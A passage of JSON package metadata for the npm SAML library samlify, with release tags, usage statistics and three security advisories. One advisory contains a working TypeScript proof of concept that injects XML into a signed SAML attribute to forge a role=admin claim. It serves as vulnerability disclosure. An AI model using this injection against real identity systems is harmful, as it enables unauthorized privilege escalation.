itHub/repositories/tngan%2Fsamlify/tags/v1.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.9/manifests"},{"name":"v1.2.8","sha":"47c3e4b21278a8076655df5e8a3cf06fb13b2783","kind":"commit","published_at":"2017-01-02T15:53:20.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.8","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.8/manifests"},{"name":"v1.2.7","sha":"fe843749fbc674b81bd24a1fc0bf395cfcd928ee","kind":"commit","published_at":"2016-12-14T01:59:40.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.7","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.7/manifests"},{"name":"v1.2.5","sha":"0645006ee9eade7397aefe49d8913706ec3c3219","kind":"commit","published_at":"2016-07-05T04:14:24.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.5","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.5/manifests"},{"name":"v1.2.4","sha":"383eca5647ac437ef75ef936397af30345cd1df9","kind":"commit","published_at":"2016-07-04T07:16:16.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.4","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.4/manifests"},{"name":"v1.2.3","sha":"b0ae3e60831877c538b7d398a1d34051449e1e96","kind":"commit","published_at":"2016-02-25T17:26:47.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.3","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"ff2e1b20efdc5bb2e04955800bd2fca150a38b55","kind":"commit","published_at":"2016-02-24T05:11:32.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.2","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"3663b89f9886b5ffcbea53c9103a5ea65579baa0","kind":"commit","published_at":"2016-02-10T17:05:33.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.1","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2.1/manifests"},{"name":"v1.2","sha":"bb1df4335bac2e4e26da6936d00484737f152d65","kind":"commit","published_at":"2016-02-08T14:54:44.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.2/manifests"},{"name":"v1.1.5","sha":"488564df64c7e2f8dad2dba7b7e2565e4d1c53cc","kind":"commit","published_at":"2015-10-23T08:37:38.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.1.5","html_url":"https://github.com/tngan/samlify/releases/tag/v1.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.1.5/manifests"},{"name":"v1.1.3","sha":"d0b1f3cdea488cf99bbd86cc7084e2f701191109","kind":"commit","published_at":"2015-10-20T14:01:05.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.1.3","html_url":"https://github.com/tngan/samlify/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.1.3/manifests"},{"name":"v1.1.0","sha":"a989b248f47695ca6e915fc49f09a1e22094defb","kind":"commit","published_at":"2015-10-07T07:33:55.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.1.0","html_url":"https://github.com/tngan/samlify/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"fd147d111b43b0587e952d59b202e832f26dba28","kind":"commit","published_at":"2015-10-01T18:30:16.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.0.0","html_url":"https://github.com/tngan/samlify/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-10-12T11:56:42.313Z","dependent_packages_count":32,"downloads":6613880,"downloads_period":"last-month","dependent_repos_count":192,"rankings":{"downloads":0.5045995515437245,"dependent_repos_count":1.1477107434382348,"dependent_packages_count":1.379823770945345,"stargazers_count":3.010916966562802,"forks_count":2.3294888928431083,"docker_downloads_count":0.16084056804461566,"average":1.4222300822296383},"purl":"pkg:npm/samlify","advisories":[{"uuid":"GSA_kwCzR0hTQS0zNHI1LXE0anctcjM2bc4ABXNL","url":"https://github.com/advisories/GHSA-34r5-q4jw-r36m","title":"samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions","description":"## Summary\n\nsamlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `\u003csaml:AttributeValue\u003e`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `\u003csaml:Attribute\u003e` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).\n\n## Root Cause\n\n`src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:\n\n```\n\u003csaml:AttributeValue ...\u003e{attrUserX}\u003c/saml:AttributeValue\u003e\n```\n\nTherefore, `\u003c/saml:AttributeValue\u003e…\u003csaml:Attribute …\u003e` is accepted and signed.\n\n## Proof-of-concept\n\n- poc/attribute_injection.ts\n\n```TS\nimport { readFileSync } from 'fs';\nimport * as samlify from '../index';\nimport * as validator from '@authenio/samlify-xsd-schema-validator';\n\nsamlify.setSchemaValidator(validator);\n\nconst { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;\n\nconst loginResponseTemplate = {\n  context: '\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"{ID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" Destination=\"{Destination}\" InResponseTo=\"{InResponseTo}\"\u003e\u003csaml:Issuer\u003e{Issuer}\u003c/saml:Issuer\u003e\u003csamlp:Status\u003e\u003csamlp:StatusCode Value=\"{StatusCode}\"/\u003e\u003c/samlp:Status\u003e\u003csaml:Assertion ID=\"{AssertionID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\u003e\u003csaml:Issuer\u003e{Issuer}\u003c/saml:Issuer\u003e\u003csaml:Subject\u003e\u003csaml:NameID Format=\"{NameIDFormat}\"\u003e{NameID}\u003c/saml:NameID\u003e\u003csaml:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"\u003e\u003csaml:SubjectConfirmationData NotOnOrAfter=\"{SubjectConfirmationDataNotOnOrAfter}\" Recipient=\"{SubjectRecipient}\" InResponseTo=\"{InResponseTo}\"/\u003e\u003c/saml:SubjectConfirmation\u003e\u003c/saml:Subject\u003e\u003csaml:Conditions NotBefore=\"{ConditionsNotBefore}\" NotOnOrAfter=\"{ConditionsNotOnOrAfter}\"\u003e\u003csaml:AudienceRestriction\u003e\u003csaml:Audience\u003e{Audience}\u003c/saml:Audience\u003e\u003c/saml:AudienceRestriction\u003e\u003c/saml:Conditions\u003e{AttributeStatement}\u003c/saml:Assertion\u003e\u003c/samlp:Response\u003e',\n  attributes: [\n    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n  ],\n};\n\nconst idp = IdentityProvider({\n  privateKey: readFileSync('./test/key/idp/privkey.pem'),\n  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',\n  isAssertionEncrypted: false,\n  metadata: readFileSync('./test/misc/idpmeta.xml'),\n  loginResponseTemplate,\n});\n\nconst sp = ServiceProvider({\n  privateKey: readFileSync('./test/key/sp/privkey.pem'),\n  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',\n  isAssertionEncrypted: false,\n  metadata: readFileSync('./test/misc/spmeta.xml'),\n});\n\nconst buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) =\u003e (template: string) =\u003e {\n  const now = new Date();\n  const fiveMinutesLater = new Date(now.getTime() + 300_000);\n  const tvalue = {\n    ID: _idp.entitySetting.generateID(),\n    AssertionID: _idp.entitySetting.generateID(),\n    Destination: _sp.entityMeta.getAssertionConsumerService('post'),\n    Audience: _sp.entityMeta.getEntityID(),\n    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),\n    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',\n    NameID: user.email,\n    Issuer: _idp.entityMeta.getEntityID(),\n    IssueInstant: now.toISOString(),\n    ConditionsNotBefore: now.toISOString(),\n    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),\n    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),\n    InResponseTo: 'request-id',\n    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',\n    attrUserEmail: user.email,\n    attrUserInjection: user.injection,\n  };\n\n  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };\n};\n\nasync function main() {\n  const injection = [\n    'safe',\n    '\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e',\n    '\u003csaml:Attribute Name=\"role\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e',\n    '\u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003eadmin\u003c/saml:AttributeValue\u003e',\n    '\u003c/saml:Attribute\u003e',\n    '\u003csaml:Attribute Name=\"injection\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e',\n    '\u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003esafe'\n  ].join('');\n\n  const user = { email: 'user@esaml2.com', injection };\n  const { context: SAMLResponse } = await idp.createLoginResponse(\n    sp,\n    { extract: { request: { id: 'request-id' } } },\n    'post',\n    user,\n    buildTemplate(idp, sp, 'post', user)\n  );\n\n  const xml = util.base64Decode(SAMLResponse, true).toString();\n  console.log('--- Generated XML snippet ---');\n  console.log(xml.slice(xml.indexOf('\u003csaml:AttributeStatement'), xml.indexOf('\u003c/saml:AttributeStatement\u003e') + 26));\n\n  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });\n\n  console.log('Parsed attributes:', extract.attributes);\n}\n\nmain().catch(err =\u003e {\n  console.error('PoC failed:', err?.message || err);\n  process.exitCode = 1;\n});\n```\n\n**Run:**\n\n```\n  npm install --legacy-peer-deps\n  npx ts-node poc/attribute_injection.ts\n```\n\n## Impact \n\nA normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-21T17:14:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m","https://nvd.nist.gov/vuln/detail/CVE-2026-46490","https://github.com/advisories/GHSA-34r5-q4jw-r36m"],"source_kind":"github","identifiers":["GHSA-34r5-q4jw-r36m","CVE-2026-46490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-21T18:00:08.827Z","updated_at":"2026-10-16T06:03:16.707Z","epss_percentage":0.00565,"epss_percentile":0.45609,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNHI1LXE0anctcjM2bc4ABXNL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNHI1LXE0anctcjM2bc4ABXNL","packages":[{"ecosystem":"npm","package_name":"samlify","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003c 2.13.0"}],"purl":"pkg:npm/samlify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNHI1LXE0anctcjM2bc4ABXNL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNjgzLXY0M2MtNnhxds4ABIHu","url":"https://github.com/advisories/GHSA-r683-v43c-6xqv","title":"samlify SAML Signature Wrapping attack","description":"A Signature Wrapping attack has been found in samlify \u003cv2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user. \nAn attacker would need a signed XML document by the identity provider.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-05-19T22:33:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/tngan/samlify/security/advisories/GHSA-r683-v43c-6xqv","https://nvd.nist.gov/vuln/detail/CVE-2025-47949","https://github.com/tngan/samlify/commit/115679acd89f0a37ea3ebd8fff7db54fca3e8af3","https://github.com/advisories/GHSA-r683-v43c-6xqv"],"source_kind":"github","identifiers":["GHSA-r683-v43c-6xqv","CVE-2025-47949"],"repository_url":"https://github.com/tngan/samlify","blast_radius":22.604682164165144,"created_at":"2025-05-19T23:07:43.609Z","updated_at":"2026-10-16T06:07:18.551Z","epss_percentage":0.00468,"epss_percentile":0.39052,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNjgzLXY0M2MtNnhxds4ABIHu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNjgzLXY0M2MtNnhxds4ABIHu","packages":[{"ecosystem":"npm","package_name":"samlify","versions":[{"first_patched_version":"2.10.0","vulnerable_version_range":"\u003c 2.10.0"}],"purl":"pkg:npm/samlify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNjgzLXY0M2MtNnhxds4ABIHu/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqamYtdzdqNi0zMjNj","url":"https://github.com/advisories/GHSA-8jjf-w7j6-323c","title":"Samlify vulnerable to Authentication Bypass by allowing tokens to be reused with different usernames","description":"Versions of `samlify` prior to 2.4.0-rc5 are vulnerable to Authentication Bypass. The package fails to prevent XML Signature Wrapping, allowing tokens to be reused with different usernames. A remote attacker can modify SAML content for a SAML service provider without invalidating the cryptographic signature, which may allow attackers to bypass primary authentication for the affected SAML service provider.\n\n\n## Recommendation\n\nUpgrade to version 2.4.0-rc5 or later","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-01-04T21:03:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2017-1000452","https://hackerone.com/reports/356284","https://www.whitehats.nl/blog/xml-signature-wrapping-samlify","https://github.com/tngan/samlify/commit/d382bbc7c6b8ea889839ae1f178730c25b09eb42","https://github.com/tngan/samlify/compare/v2.4.0-rc4...v2.4.0-rc5","https://github.com/tngan/samlify/releases/tag/v2.4.0-rc5","https://github.com/advisories/GHSA-8jjf-w7j6-323c"],"source_kind":"github","identifiers":["GHSA-8jjf-w7j6-323c","CVE-2017-1000452"],"repository_url":"https://github.com/tngan/samlify","blast_radius":0.0,"created_at":"2022-12-21T16:13:37.537Z","updated_at":"2026-10-16T06:13:25.882Z","epss_percentage":0.0138,"epss_percentile":0.71573,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqamYtdzdqNi0zMjNj","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqamYtdzdqNi0zMjNj","packages":[{"ecosystem":"npm","package_name":"samlify","versions":[{"first_patched_version":"2.4.0-rc5","vulnerable_version_range":"\u003c 2.4.0-rc5"}],"purl":"pkg:npm/samlify"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqamYtdzdqNi0zMjNj/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/samlify","docker_dependents_count":55,"docker_downloads_count":125726118,"usage_url":"https://repos.ecosyste.ms/usage/npm/samlify","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/samlify/dependencies","status":null,"funding_links":["https://github.com/sponsors/tngan"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-11T10:21:30.383Z","issues_count":107,"pull_requests_count":87,"avg_time_to_close_issue":14305418.333333334,"avg_time_to_close_pull_request":22315798.129032258,"issues_closed_count":54,"pull_requests_closed_count":62,"pull_request_authors_count":35,"issue_authors_count":91,"avg_comments_per_issue":2.5794392523364484,"avg_comments_per_pull_request":1.218390804597701,"merged_pull_requests_count":37,"bot_issues_count":0,"bot_pull_requests_count":22,"past_year_issues_count":5,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":390608.0,"past_year_avg_time_to_close_pull_request":4357849.125,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":8,"past_year_pull_request_authors_count":4,"past_year_issue_authors_count":5,"past_year_avg_comments_per_issue":1.0,"past_year_avg_comments_per_pull_request":0.45454545454545453,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":5,"past_year_merged_pull_requests_count":4,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/issues","maintainers":[{"login":"tngan","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tngan"}],"active_maintainers":[{"login":"tngan","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tngan"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/samlify/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/samlify/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/samlify/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/samlify/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/samlify/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/samlify/codemeta","maintainers":[{"uuid":"tngan","login":"tngan","name":null,"email":"tonynwk919@gmail.com","url":null,"packages_count":18,"html_url":"https://www.npmjs.com/~tngan","role":null,"created_at":"2022-11-14T08:39:30.931Z","updated_at":"2022-11-14T08:39:30.931Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/tngan/packages"}]}